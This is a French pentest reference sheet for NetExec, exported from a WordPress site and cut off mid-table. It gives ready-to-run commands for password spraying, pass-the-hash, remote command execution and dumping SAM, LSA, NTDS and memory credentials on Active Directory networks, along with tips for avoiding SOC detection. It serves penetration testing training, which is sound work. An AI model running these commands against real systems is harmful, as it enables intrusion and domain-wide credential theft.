{"id":301,"date":"2026-04-08T07:46:41","date_gmt":"2026-04-08T05:46:41","guid":{"rendered":"https:\/\/pandack.fr\/?pandack_outil=netexec"},"modified":"2026-04-08T07:46:41","modified_gmt":"2026-04-08T05:46:41","slug":"netexec","status":"publish","type":"pandack_outil","link":"https:\/\/pandack.fr\/?pandack_outil=netexec","title":{"rendered":"NetExec"},"content":{"rendered":"<h2>\ud83d\udccb Fiche Outil : NetExec (nxc)<\/h2>\n<hr>\n<div class=\"callout callout--warning\">\n<div class=\"callout__title\">\ud83d\udccb Note<\/div>\n<div class=\"callout__content\"><strong>\u26a0\ufe0f Outil Bruyant (OPSEC)<\/strong> : NetExec g\u00e9n\u00e8re beaucoup de trafic et de logs (Event ID 4625 pour les \u00e9checs, 4624 pour les succ\u00e8s). Un scan massif d&rsquo;un <code>\/24<\/code> avec tentatives de connexion alertera quasi-instantan\u00e9ment un SOC. <strong>Conseil :<\/strong> Utiliser avec pr\u00e9cision ou en modulant les d\u00e9lais.<\/p>\n<p><strong>Successeur officiel<\/strong> de <a href=\"https:\/\/pandack.fr\/?pandack_outil=crackmapexec\" class=\"wikilink\">CrackMapExec<\/a>. Syntaxe identique : <code>crackmapexec smb<\/code> = <code>nxc smb<\/code>.<\/p>\n<p><strong>Outil Similaire<\/strong> : <code>CrackMapExec (legacy)<\/code>, <code>enum4linux-ng<\/code>, <code>smbmap<\/code><\/p>\n<p><strong>Outil Compl\u00e9mentaire<\/strong> : <span class=\"wikilink-broken\" title=\"Note non disponible : Responder\">Responder<\/span> (capture NTLM), <span class=\"wikilink-broken\" title=\"Note non disponible : Impacket\">Impacket<\/span> (relay, exec, secretsdump), <a href=\"https:\/\/pandack.fr\/?pandack_outil=bloodhound\" class=\"wikilink\">BloodHound<\/a> (cartographie AD), <span class=\"wikilink-broken\" title=\"Note non disponible : mimikatz\">mimikatz<\/span> (extraction credentials)<\/p>\n<p><strong>Liens utiles<\/strong> : <span class=\"canvas-link\" title=\"Canvas Obsidian\">Port 139 et 445 &#8211; SMB<\/span>, [](..\/Ports\/N\u00b0\/Port%205985%20-%20WinRM.canvas), [](..\/Ports\/N\u00b0\/Port%203389%20-%20RDP.canvas), <span class=\"canvas-link\" title=\"Canvas Obsidian\">Port 389 &#8211; LDAP<\/span>, [](..\/Ports\/N\u00b0\/Port%201433%20-%20MSSQL.canvas)<\/div>\n<\/div>\n<div class=\"callout callout--info\">\n<div class=\"callout__title\">\ud83c\udfaf Objectif Principal<\/div>\n<div class=\"callout__content\">\n<p>NetExec (nxc) remplace l&rsquo;utilisation manuelle de multiples outils (<code>nmap<\/code>, <code>hydra<\/code>, <code>psexec<\/code>, <code>smbclient<\/code>). Il agit comme un scanner intelligent multiprotocole pour :<\/p>\n<ol>\n<li>Cartographier : Identifier les versions Windows, les partages, la signature SMB, les services expos\u00e9s.<\/li>\n<li>Valider : Tester des identifiants (Password Spraying) ou des hashs (Pass-the-Hash) sur tous les protocoles.<\/li>\n<li>Exploiter : Ex\u00e9cuter des commandes, dumper la SAM\/LSA\/NTDS, extraire des credentials en m\u00e9moire.<\/li>\n<\/ol>\n<p><em>Indicateur cl\u00e9 : si l&rsquo;acc\u00e8s est r\u00e9ussi, le texte s&rsquo;affiche en jaune <code>[+]<\/code>. Si l&rsquo;utilisateur est administrateur local, le texte s&rsquo;affiche en vert avec la mention <code>(Pwn3d!)<\/code> \u2014 c&rsquo;est le signal pour le mouvement lat\u00e9ral.<\/em><\/div>\n<\/div>\n<hr>\n<div class=\"callout callout--quote\">\n<div class=\"callout__title\">Syntaxe G\u00e9n\u00e9rale<\/div>\n<div class=\"callout__content\">\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\"># Cible unique\nnxc &lt;protocole&gt; &lt;IP_cible&gt; [options]\n\n# Cibles multiples (format CIDR)\nnxc &lt;protocole&gt; &lt;IP&gt;\/24 [options]\n\n# Authentification\nnxc &lt;protocole&gt; &lt;IP&gt; -u &lt;user | user_file&gt; -p &lt;pass | pass_file&gt;\n\n# Authentification par hash (Pass-the-Hash)\nnxc &lt;protocole&gt; &lt;IP&gt; -u &lt;user&gt; -H &lt;NTLM_hash&gt;<\/code><\/pre>\n<\/div>\n<\/div>\n<\/div>\n<hr>\n<h3>Param\u00e8tres Globaux (communs \u00e0 tous les protocoles)<\/h3>\n<table>\n<thead>\n<tr>\n<th>Option<\/th>\n<th>Description<\/th>\n<th>Exemple d&rsquo;utilisation<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>-u<\/code><\/td>\n<td>Nom d&rsquo;utilisateur ou fichier de liste. <code>&#039;&#039;<\/code> pour null session<\/td>\n<td><code>nxc smb 10.10.10.5 -u admin<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>-p<\/code><\/td>\n<td>Mot de passe ou fichier de liste. <code>&#039;&#039;<\/code> pour vide<\/td>\n<td><code>nxc smb 10.10.10.5 -u admin -p &#039;Pass123&#039;<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>-H<\/code><\/td>\n<td>Hash NTLM (Pass-the-Hash). Format <code>LM:NT<\/code> ou <code>NT<\/code><\/td>\n<td><code>nxc smb 10.10.10.5 -u admin -H &lt;hash&gt;<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>-d<\/code><\/td>\n<td>Domaine Active Directory<\/td>\n<td><code>nxc smb 10.10.10.5 -u admin -p &#039;pass&#039; -d CORP<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--local-auth<\/code><\/td>\n<td>Force l&rsquo;authentification locale (<code>.Administrateur<\/code>)<\/td>\n<td><code>nxc smb 10.10.10.5 -u admin -p &#039;pass&#039; --local-auth<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--continue-on-success<\/code><\/td>\n<td>Continuer apr\u00e8s un succ\u00e8s (spray)<\/td>\n<td><code>nxc smb 10.10.10.5 -u users.txt -p &#039;pass&#039; --continue-on-success<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>-M<\/code><\/td>\n<td>Charger un module post-exploitation<\/td>\n<td><code>nxc smb 10.10.10.5 -u admin -p &#039;pass&#039; -M sam<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>-L<\/code><\/td>\n<td>Lister les modules disponibles pour un protocole<\/td>\n<td><code>nxc smb -L<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>-x<\/code><\/td>\n<td>Ex\u00e9cuter une commande syst\u00e8me (cmd.exe)<\/td>\n<td><code>nxc smb 10.10.10.5 -u admin -p &#039;pass&#039; -x &quot;whoami&quot;<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>-X<\/code><\/td>\n<td>Ex\u00e9cuter une commande PowerShell<\/td>\n<td><code>nxc smb 10.10.10.5 -u admin -p &#039;pass&#039; -X &quot;Get-Process&quot;<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--no-bruteforce<\/code><\/td>\n<td>Ne pas tester les combinaisons crois\u00e9es user\/pass<\/td>\n<td><code>nxc smb 10.10.10.5 -u users.txt -p pass.txt --no-bruteforce<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2>SMB (nxc smb)<\/h2>\n<div class=\"callout callout--info\">\n<div class=\"callout__title\">\ud83d\udccc Port 445 \u2014 Protocole le plus riche en fonctionnalit\u00e9s<\/div>\n<div class=\"callout__content\">\n<p>SMB est le protocole principal de NetExec. Il permet l&rsquo;\u00e9num\u00e9ration compl\u00e8te d&rsquo;un environnement AD, le test d&rsquo;identifiants, le mouvement lat\u00e9ral, le dump de hash et l&rsquo;ex\u00e9cution de commandes. C&rsquo;est le point d&rsquo;entr\u00e9e classique d&rsquo;un pentest AD.<\/p>\n<\/div>\n<\/div>\n<h3>Param\u00e8tres SMB<\/h3>\n<table>\n<thead>\n<tr>\n<th>Option<\/th>\n<th>Description<\/th>\n<th>Exemple d&rsquo;utilisation<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>--shares<\/code><\/td>\n<td>Lister les partages SMB et droits d&rsquo;acc\u00e8s (<code>READ<\/code>\/<code>WRITE<\/code>)<\/td>\n<td><code>nxc smb 10.10.10.5 --shares<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--users<\/code><\/td>\n<td>\u00c9num\u00e9rer les utilisateurs via RPC<\/td>\n<td><code>nxc smb 10.10.10.5 --users<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--users-export<\/code><\/td>\n<td>Exporter la liste d&rsquo;utilisateurs dans un fichier<\/td>\n<td><code>nxc smb 10.10.10.5 --users-export users.txt<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--groups<\/code><\/td>\n<td>\u00c9num\u00e9rer les groupes du domaine<\/td>\n<td><code>nxc smb 10.10.10.5 --groups<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--rid-brute<\/code><\/td>\n<td>Bruteforce les RIDs pour trouver des utilisateurs<\/td>\n<td><code>nxc smb 10.10.10.5 --rid-brute<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--pass-pol<\/code><\/td>\n<td>Afficher la politique de mot de passe du domaine<\/td>\n<td><code>nxc smb 10.10.10.5 -u &#039;user&#039; -p &#039;pass&#039; --pass-pol<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--sam<\/code><\/td>\n<td>Dump de la base SAM locale. N\u00e9cessite admin<\/td>\n<td><code>nxc smb 10.10.10.5 -u admin -p &#039;pass&#039; --sam<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--lsa<\/code><\/td>\n<td>Dump des secrets LSA<\/td>\n<td><code>nxc smb 10.10.10.5 -u admin -p &#039;pass&#039; --lsa<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--ntds<\/code><\/td>\n<td>Dump de la base NTDS.dit (DCSync). N\u00e9cessite Domain Admin<\/td>\n<td><code>nxc smb 10.10.10.5 -u admin -p &#039;pass&#039; --ntds<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--sessions<\/code><\/td>\n<td>Lister les sessions actives<\/td>\n<td><code>nxc smb 10.10.10.5 -u admin -p &#039;pass&#039; --sessions<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--gen-relay-list<\/code><\/td>\n<td>G\u00e9n\u00e9rer une liste de cibles pour NTLM relay<\/td>\n<td><code>nxc smb --gen-relay-list targets.txt 10.10.10.0\/24<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Commandes Essentielles SMB<\/h3>\n<p>D\u00e9couverte de machines SMB sur un sous-r\u00e9seau :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 192.168.1.0\/24<\/code><\/pre>\n<\/div>\n<p>\u00c9num\u00e9ration anonyme (null session) des partages et utilisateurs :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 10.10.10.5 -u &#039;&#039; -p &#039;&#039; --shares\nnxc smb 10.10.10.5 -u &#039;&#039; -p &#039;&#039; --rid-brute\nnxc smb 10.10.10.5 -u &#039;&#039; -p &#039;&#039; --users<\/code><\/pre>\n<\/div>\n<p>Export de la liste d&rsquo;utilisateurs dans un fichier :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 10.10.10.5 -u &#039;&#039; -p &#039;&#039; --users-export users.txt<\/code><\/pre>\n<\/div>\n<p>Test d&rsquo;identifiants et v\u00e9rification de la politique de mot de passe :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 10.10.10.5 -u &#039;admin&#039; -p &#039;Password1&#039;\nnxc smb 10.10.10.5 -u &#039;user&#039; -p &#039;pass&#039; --pass-pol<\/code><\/pre>\n<\/div>\n<p>Pass-the-Hash sur SMB :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 10.10.10.5 -u &#039;admin&#039; -H &#039;&lt;NTLM_HASH&gt;&#039;<\/code><\/pre>\n<\/div>\n<p>Ex\u00e9cution de commande \u00e0 distance (n\u00e9cessite <code>Pwn3d!<\/code>) :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 10.10.10.5 -u &#039;admin&#039; -p &#039;pass&#039; --local-auth -x &quot;whoami&quot;<\/code><\/pre>\n<\/div>\n<p>Dump de hash (SAM, LSA, NTDS) :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 10.10.10.5 -u admin -p &#039;pass&#039; --sam\nnxc smb 10.10.10.5 -u admin -p &#039;pass&#039; --lsa\nnxc smb 10.10.10.5 -u admin -p &#039;pass&#039; --ntds<\/code><\/pre>\n<\/div>\n<h3>Exemples Pratiques SMB<\/h3>\n<h4>1. Reconnaissance initiale (Null Session \/ Guest)<\/h4>\n<p>Tenter de lister les partages ou utilisateurs sans identifiants.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 192.168.1.0\/24 -u &#039;&#039; -p &#039;&#039; --shares\nnxc smb 192.168.1.0\/24 -u &#039;guest&#039; -p &#039;&#039; --shares<\/code><\/pre>\n<\/div>\n<p>_Explication : Teste l&rsquo;acc\u00e8s anonyme et le compte guest sur tout le sous-r\u00e9seau. Affiche les partages disponibles avec les droits <code>READ<\/code>\/<code>WRITE<\/code>. Certaines machines refuseront la null session._<\/p>\n<h4>2. Password Spraying sur un domaine<\/h4>\n<p>Tester un mot de passe courant sur une liste d&rsquo;utilisateurs r\u00e9cup\u00e9r\u00e9e.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 10.10.10.0\/24 -u users.txt -p &#039;Bienvenue123!&#039; --continue-on-success<\/code><\/pre>\n<\/div>\n<p>_Explication : Teste le mot de passe <code>Bienvenue123!<\/code> pour chaque utilisateur du fichier <code>users.txt<\/code>. L&rsquo;option <code>--continue-on-success<\/code> trouve toutes les machines accessibles au lieu de s&rsquo;arr\u00eater au premier match._<\/p>\n<h4>3. Cartographie des droits admin (chasse au <code>Pwn3d!<\/code>)<\/h4>\n<p>Identifier sur quelles machines l&rsquo;utilisateur compromis est administrateur local.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 192.168.1.0\/24 -u &#039;j.doe&#039; -p &#039;Password123&#039;<\/code><\/pre>\n<\/div>\n<p>_Explication : Teste les credentials sur tout le sous-r\u00e9seau. Les lignes vertes avec <code>(Pwn3d!)<\/code> indiquent les machines o\u00f9 <code>j.doe<\/code> est administrateur local \u2014 cibles prioritaires pour le mouvement lat\u00e9ral._<\/p>\n<h4>4. Ex\u00e9cution de commande (mouvement lat\u00e9ral)<\/h4>\n<p>Ex\u00e9cuter une commande sur une cible compromise avec un compte local.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 10.10.10.50 -u &#039;Administrateur&#039; -p &#039;Pass123&#039; --local-auth -x &quot;whoami&quot;<\/code><\/pre>\n<\/div>\n<p>_Explication : <code>--local-auth<\/code> force l&rsquo;authentification avec le compte local <code>.Administrateur<\/code>. <code>-x<\/code> ex\u00e9cute la commande via <code>cmd.exe<\/code>. N\u00e9cessite le statut <code>(Pwn3d!)<\/code>._<\/p>\n<h4>5. Extraction de hashs (post-exploitation)<\/h4>\n<p>Dumper la base SAM locale pour r\u00e9cup\u00e9rer d&rsquo;autres acc\u00e8s.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 10.10.10.50 -u &#039;Administrateur&#039; -p &#039;Pass123&#039; --local-auth -M sam<\/code><\/pre>\n<\/div>\n<p>_Explication : Le module <code>-M sam<\/code> extrait les hash de la base SAM locale. Ces hash peuvent \u00eatre r\u00e9utilis\u00e9s en Pass-the-Hash sur d&rsquo;autres machines du r\u00e9seau._<\/p>\n<h4>6. Dump NTDS.dit (DCSync sur un Domain Controller)<\/h4>\n<p>R\u00e9cup\u00e9rer tous les hash du domaine via une attaque <a href=\"http:\/\/..\/..\/Pentest%20AD%20(Vuln\u00e9rabilit\u00e9s\" target=\"_blank\" rel=\"noopener\">DCSync<\/a>\/DCSync.md).<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb 10.10.10.5 -u &#039;admin&#039; -p &#039;password&#039; --ntds<\/code><\/pre>\n<\/div>\n<p>_Explication : Exploite la vuln\u00e9rabilit\u00e9 DCSync pour extraire la base NTDS.dit contenant tous les hash NTLM du domaine. N\u00e9cessite des droits Domain Admin ou des privil\u00e8ges de r\u00e9plication._<\/p>\n<h4>7. G\u00e9n\u00e9ration de liste pour NTLM Relay<\/h4>\n<p>Cr\u00e9er un fichier de cibles vuln\u00e9rables au NTLM relay (SMB signing d\u00e9sactiv\u00e9).<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb --gen-relay-list smb_targets.txt 10.10.11.0\/24<\/code><\/pre>\n<\/div>\n<p>_Explication : Identifie les machines avec <code>signing:False<\/code>. Ces machines sont vuln\u00e9rables au NTLM relay. Le r\u00e9sultat est sauvegard\u00e9 dans <code>smb_targets.txt<\/code> pour <code>ntlmrelayx.py<\/code>._<\/p>\n<h3>Modules SMB notables<\/h3>\n<p>Lister tous les modules disponibles :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc smb -L<\/code><\/pre>\n<\/div>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\"># sam \u2014 dump de la base SAM locale\nnxc smb 192.168.1.100 -u admin -p &#039;pass&#039; --local-auth -M sam\n\n# lsassy \u2014 extraction de credentials en m\u00e9moire (alternative \u00e0 mimikatz)\nnxc smb 192.168.1.0\/24 -u admin -p &#039;pass&#039; -M lsassy\n\n# spider_plus \u2014 recherche de fichiers sensibles dans les partages\nnxc smb 192.168.1.100 -u admin -p &#039;pass&#039; -M spider_plus\n\n# webdav \u2014 \u00e9num\u00e9ration des services WebDAV\nnxc smb 192.168.1.0\/24 -u admin -p &#039;pass&#039; -M webdav<\/code><\/pre>\n<\/div>\n<hr>\n<h2>WinRM (nxc winrm)<\/h2>\n<div class=\"callout callout--info\">\n<div class=\"callout__title\">\ud83d\udccc Ports 5985 (HTTP) \/ 5986 (HTTPS) \u2014 Ex\u00e9cution de commandes \u00e0 distance<\/div>\n<div class=\"callout__content\">\n<p>WinRM (Windows Remote Management) est le protocole utilis\u00e9 par PowerShell Remoting. Il permet d&rsquo;ex\u00e9cuter des commandes \u00e0 distance sur les machines Windows o\u00f9 le service est activ\u00e9. Vecteur de mouvement lat\u00e9ral puissant car il donne un shell interactif complet.<\/p>\n<\/div>\n<\/div>\n<h3>Param\u00e8tres WinRM<\/h3>\n<table>\n<thead>\n<tr>\n<th>Option<\/th>\n<th>Description<\/th>\n<th>Exemple d&rsquo;utilisation<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>-x<\/code><\/td>\n<td>Ex\u00e9cuter une commande syst\u00e8me (cmd.exe)<\/td>\n<td><code>nxc winrm 10.10.10.5 -u admin -p &#039;pass&#039; -x &quot;whoami&quot;<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>-X<\/code><\/td>\n<td>Ex\u00e9cuter une commande PowerShell<\/td>\n<td><code>nxc winrm 10.10.10.5 -u admin -p &#039;pass&#039; -X &quot;Get-Process&quot;<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--no-bruteforce<\/code><\/td>\n<td>Ne pas tester les combinaisons crois\u00e9es user\/pass<\/td>\n<td><code>nxc winrm 10.10.10.5 -u users.txt -p pass.txt --no-bruteforce<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Commandes Essentielles WinRM<\/h3>\n<p>Test d&rsquo;identifiants via WinRM :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc winrm 10.10.10.5 -u &#039;admin&#039; -p &#039;Password1&#039;<\/code><\/pre>\n<\/div>\n<p>Pass-the-Hash via WinRM :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc winrm 10.10.10.5 -u &#039;admin&#039; -H &#039;&lt;NTLM_HASH&gt;&#039; -d &#039;CORP&#039;<\/code><\/pre>\n<\/div>\n<p>Ex\u00e9cution de commande syst\u00e8me (cmd.exe) :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc winrm 10.10.10.5 -u &#039;admin&#039; -p &#039;pass&#039; -x &quot;whoami \/all&quot;<\/code><\/pre>\n<\/div>\n<p>Ex\u00e9cution de commande PowerShell :<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc winrm 10.10.10.5 -u &#039;admin&#039; -p &#039;pass&#039; -X &quot;Get-ADUser -Filter * | Select Name&quot;<\/code><\/pre>\n<\/div>\n<h3>Exemples Pratiques WinRM<\/h3>\n<h4>1. Validation d&rsquo;acc\u00e8s WinRM sur un r\u00e9seau<\/h4>\n<p>Identifier les machines o\u00f9 WinRM est activ\u00e9 et o\u00f9 les credentials fonctionnent.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc winrm 192.168.1.0\/24 -u &#039;j.doe&#039; -p &#039;Password123&#039;<\/code><\/pre>\n<\/div>\n<p>_Explication : Scanne tout le sous-r\u00e9seau sur le port 5985. Un <code>[+]<\/code> indique que les credentials sont valides et WinRM est accessible. <code>(Pwn3d!)<\/code> indique qu&rsquo;on peut ex\u00e9cuter des commandes._<\/p>\n<h4>2. Mouvement lat\u00e9ral via Pass-the-Hash<\/h4>\n<p>Utiliser un hash NTLM r\u00e9cup\u00e9r\u00e9 pour obtenir une ex\u00e9cution de commande via WinRM.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc winrm 10.10.10.50 -u &#039;administrator&#039; -H &#039;aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99&#039; -d &#039;CORP.LOCAL&#039; -x &quot;hostname&quot;<\/code><\/pre>\n<\/div>\n<p>_Explication : Authentification en PTH via WinRM. Plus discret que SMB pour l&rsquo;ex\u00e9cution de commandes car WinRM g\u00e9n\u00e8re moins de logs visibles par d\u00e9faut (Event ID 4648, 91)._<\/p>\n<h4>3. Ex\u00e9cution PowerShell \u00e0 distance<\/h4>\n<p>Ex\u00e9cuter des commandes PowerShell avanc\u00e9es pour la collecte d&rsquo;information.<\/p>\n<div class=\"code-block-wrapper\">\n<div class=\"code-block-header\"><span class=\"code-language\">bash<\/span><button class=\"code-copy-btn\" type=\"button\">Copier<\/button><\/div>\n<pre><code class=\"language-bash\">nxc winrm 10.10.10.50 -u &#039;admin&#039; -p &#039;pass&#039; -X &quot;Get-LocalUser | Select Name,Enabled&quot;<\/code><\/pre>\n<\/div>\n<p>_Explication : <code>-X<\/code> ex\u00e9cute via PowerShell (et non cmd.exe). Utile pour les cmdlets AD, la collecte d&rsquo;info syst\u00e8me, ou le d\u00e9ploiement de payloads._<\/p>\n<hr>\n<h2>LDAP (nxc ldap)<\/h2>\n<div class=\"callout callout--info\">\n<div class=\"callout__title\">Port 389 (LDAP) \/ 636 (LDAPS)<\/div>\n<div class=\"callout__content\">\n<p>\u00c9num\u00e9ration Active Directory Le protocole LDAP permet d&rsquo;interroger directement l&rsquo;annuaire Active Directory. NetExec l&rsquo;utilise pour \u00e9num\u00e9rer les utilisateurs, groupes, GPO, et pour des attaques sp\u00e9cifiques comme le Kerberoasting ou l&rsquo;AS-REP Roasting sans passer par SMB. Souvent plus rapide que SMB pour le password spraying et l&rsquo;\u00e9num\u00e9ration. Permet aussi de v\u00e9rifier si le LDAP Signing est activ\u00e9.<\/p>\n<\/div>\n<\/div>\n<h3>Param\u00e8tres LDAP<\/h3>\n<table>\n<thead>\n<tr>\n<th>Option<\/th>\n<th>Description<\/th>\n<th>Exemple d&rsquo;utilisation<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><code>--users<\/code><\/td>\n<td>\u00c9num\u00e9rer la liste compl\u00e8te des utilisateurs du domaine. Peut \u00eatre tr\u00e8s verbeux<\/td>\n<td><code>nxc ldap 10.10.10.5 -u user -p &#039;pass&#039; --users<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--groups<\/code><\/td>\n<td>\u00c9num\u00e9rer les groupes du domaine<\/td>\n<td><code>nxc ldap 10.10.10.5 -u user -p &#039;pass&#039; --groups<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--kerberoasting<\/code><\/td>\n<td>Identifier les comptes vuln\u00e9rables au Kerberoasting. Liste les utilisateurs avec un SPN (Service Principal Name)<\/td>\n<td><code>nxc ldap 10.10.10.5 -u user -p &#039;pass&#039; --kerberoasting output.txt<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--asreproast<\/code><\/td>\n<td>Attaque AS-REP Roasting. R\u00e9cup\u00e8re le hash des utilisateurs dont la pr\u00e9-authentification Kerberos est d\u00e9sactiv\u00e9e<\/td>\n<td><code>nxc ldap 10.10.10.5 -u user -p &#039;pass&#039; --asreproast output.txt<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--trusted-for-delegation<\/code><\/td>\n<td>Lister les comptes\/machines configur\u00e9s pour la d\u00e9l\u00e9gation (Unconstrained\/Constrained). Utile pour des attaques de rebond<\/td>\n<td><code>nxc ldap 10.10.10.5 -u user -p &#039;pass&#039; --trusted-for-delegation<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--password-not-required<\/code><\/td>\n<td>Lister les comptes configur\u00e9s sans exigence de mot de passe. Configuration dangereuse \u00e0 exploiter imm\u00e9diatement<\/td>\n<td><code>nxc ldap 10.10.10.5 -u user -p &#039;pass&#039; --password-not-required<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--admin-count<\/code><\/td>\n<td>Lister les objets prot\u00e9g\u00e9s (AdminCount=1). Indique souvent des comptes \u00e0 hauts privil\u00e8ges<\/td>\n<td><code>nxc ldap 10.10.10.5 -u user -p &#039;pass&#039; --admin-count<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--gmsa<\/code><\/td>\n<td>Extraire les mots de passe des comptes gMSA<\/td>\n<td><code>nxc ldap 10.10.10.5 -u user -p &#039;pass&#039; --gmsa<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>--bloodhound<\/code><\/td>\n<td>Collecte basique de donn\u00e9es pour BloodHound. Moins complet que SharpHound, mais utile pour un aper\u00e7u rapide<\/td>\n<td><code>nxc ldap 10.10.10.5 -u user -p &#039;pass&#039; --bloodhound -ns 10.10.10.5<\/code><\/td>\n<\/tr>\n<tr>\n<td><code>-M get-desc<\/code><\/td>\n<td>Module. Extrait les descriptions des utilisateurs. Recherche souvent des mots de passe 